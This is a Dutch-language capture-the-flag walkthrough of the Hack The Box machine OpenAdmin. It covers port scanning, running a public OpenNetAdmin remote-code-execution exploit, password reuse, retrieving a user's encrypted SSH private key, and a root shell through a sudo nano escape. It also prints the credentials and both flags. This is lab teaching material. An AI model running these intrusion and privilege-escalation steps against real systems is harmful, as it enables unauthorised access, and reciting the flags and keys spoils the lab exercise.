De eerste box van 2020 was OpenAdmin, een Easy Linux machine waarvan de naam al een beetje verklapt waarmee je te maken gaat krijgen. Let’s do this!
It’s never too late to start
– Me, Myself and I
De kickoff bestaat uiteraard uit een Nmap scan van de machine op 10.10.10.171. Open Net Admin is een management tool voor webservers en ik verwacht hier op voorhand wel een poort 80 en of 443 voorbij te zien komen.
De scan geeft inderdaad poort 80 als open poort met aan de zijlijn poort 22 (SSH).
nmap -sC -sV -oA ~/Documents/boxes/openadmin 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 13:40 GMT
Nmap scan report for 10.10.10.171
Host is up (0.020s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
13/tcp filtered daytime
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1022/tcp filtered exp2
1072/tcp filtered cardax
1085/tcp filtered webobjects
2701/tcp filtered sms-rcinfo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.89 seconds
Naast de algemene website, die weinig onthult, start ik dirb om te zoeken naar andere actieve directories op de webserver. De url’s “/artwork” en “/music” worden gevonden.
dirb http://10.10.10.171
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Jan 25 13:48:48 2020
URL_BASE: http://10.10.10.171/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/
+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://10.10.10.171/music/
+ http://10.10.10.171/server-status (CODE:403|SIZE:277)
---- Entering directory: http://10.10.10.171/artwork/ ----
==> DIRECTORY: http://10.10.10.171/artwork/css/
==> DIRECTORY: http://10.10.10.171/artwork/fonts/
==> DIRECTORY: http://10.10.10.171/artwork/images/
+ http://10.10.10.171/artwork/index.html (CODE:200|SIZE:14461)
==> DIRECTORY: http://10.10.10.171/artwork/js/
---- Entering directory: http://10.10.10.171/music/ ----
==> DIRECTORY: http://10.10.10.171/music/css/
==> DIRECTORY: http://10.10.10.171/music/img/
+ http://10.10.10.171/music/index.html (CODE:200|SIZE:12554)
==> DIRECTORY: http://10.10.10.171/music/js/
-----------------
END_TIME: Sat Jan 25 13:56:58 2020
DOWNLOADED: 13836 - FOUND: 4
De Artwork website heeft niets interessant, maar Music geeft een optie tot aanmelden in het menu. De url verwijst naar /ona.
Doorklikken op Login geeft in ieder geval aan dat Open Admin inderdaad het koosnaampje is voor het OpenNetAdmin pakket.
Om toegang te krijgen tot de server ga ik op zoek naar een bekend lek in de software. Het exploit voor Open Net Admin 18.1.1 vind ik via Searchsploit en is standaard al aanwezig op mijn attacker machine. Mocht je de exploit downloaden en hij werkt niet dan kun je door middel van dos2unix het bestand klaarmaken voor gebruik.
searchsploit OpenNetAdmin
------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Tijd om het exploit uit te voeren tegen de url van de Open Net Admin site.
$dos2unix 47691.sh
./47691.sh http://10.10.10.171/ona/
Houston, we have a shell! Wel een beperkte shell maar dat maakt voor nu niet uit. In de shell ben ik de gebruiker www-data.
whoami
www-data
De volgende fase duurde wat langer. Als www-data had ik op erg veel bestanden en mappen rechten en enumeration is nu eenmaal een grondige taak. Na een tijdje vond ik een database configuratie bestand dat er interessant uitzag.
/opt/ona/www/local/config/database_settings.inc.php
In het bestand was veel te vinden, maar in essentie ging het vooral om het db_password. Er was verder niets te vinden dus nam ik de gok dat het hier om een luie beheerder gaat en het wachtwoord hergebruikt is.
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
Toegang tot /Home is er en geeft direct een goed beeld waar dit wachtwoord mee te combineren is.
?>$ cd /home
$ ls
jimmy
joanna
Joanna luistert niet naar het gevonden wachtwoord, maar Jimmy wel! Eerste creds zijn binnen en toegang via SSH maakt het weer een stuk makkelijker.
ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
Tijdens het zoeken naar de map waarin OpenNetAdmin draait kwam ik ook een map Internal tegen. Hierin staan drie bestanden die kennelijk ook beschikbaar zijn via een browser.
jimmy@openadmin:/var/www$ cd internal
jimmy@openadmin:/var/www/internal$ ls
index.php
logout.php
main.php
Main.php verklapt dat de Private key van Joanna getoond wordt bij het aanroepen van de php-pagina.
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start();
if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
De site draait niet onder de standaard map en er werden geen bijzondere poorten getoond. De map heet “Internal” en dit lijkt erop te duiden dat hij niet vanaf mijn machine te openen is maar vanaf de server zelf moet. De apache config verklapt het gebruik van poort 52846 voor het benaderen van deze site.
jimmy@openadmin:/etc/apache2/sites-enabled$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Om de url vanaf de machine te benaderen gebruik ik vanuit mijn SSH sessie als Jimmy een curl commando. In de code was duidelijk te zien dat het script een POST-request verwacht voor de username en in een ander bestand username en password.
curl -d "username=jimmy&password=n1nj4W4rri0r!" -X POST http://127.0.0.1:52846/main.php
Hoppa, de Private key van Joanna is binnen.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
De private key is niet direct bruikbaar om mee in te loggen. De key is namelijk voorzien van een wachtwoord dat nodig is om verbinding te maken. Met het wachtwoord uit de private key en de private key zelf lukt het om aan te melden op de box als joanna.
ssh -i rsa_id_joanna joanna@10.10.10.171
Enter passphrase for key 'rsa_id_joanna':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
Eenmaal verbonden en in de home-folder van Joanna is de user-flag te pakken voor het eerste deel van deze box.
cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
Voor de escalatie naar root controleer ik eerst welke machtigingen Joanna heeft op de box. Hieruit blijkt dat /bin/nano /opt/priv gestart mag worden als root.
sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Nano is naast een teksteditor ook een zogenaamde GTFObin, een Linux binairy die bekend staat om misbruikt te kunnen worden voor privledge escalation.
De privledge escalation voor Joanna lijkt dus erg eenvoudig en het uitvoeren van het commando geeft een nano-venster weer. Volgens GTFObin kun je vanuit hier door middel van control+R en daarna control+X commando’s uitvoeren als root. Het commando: reset; sh 1>&0 2>&0 zorgt vervolgens voor de shell als root.
sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
In de shell is nu te zien dat er vanuit de Nano editor een nieuwe root shell gespawned is.
# whoami
root
Laatste actie op deze box, de root-flag pakken!
# cat /root/root.txt
2f907ed450b361b2c2bf4e8795d5b561
can you pls give me hack boxs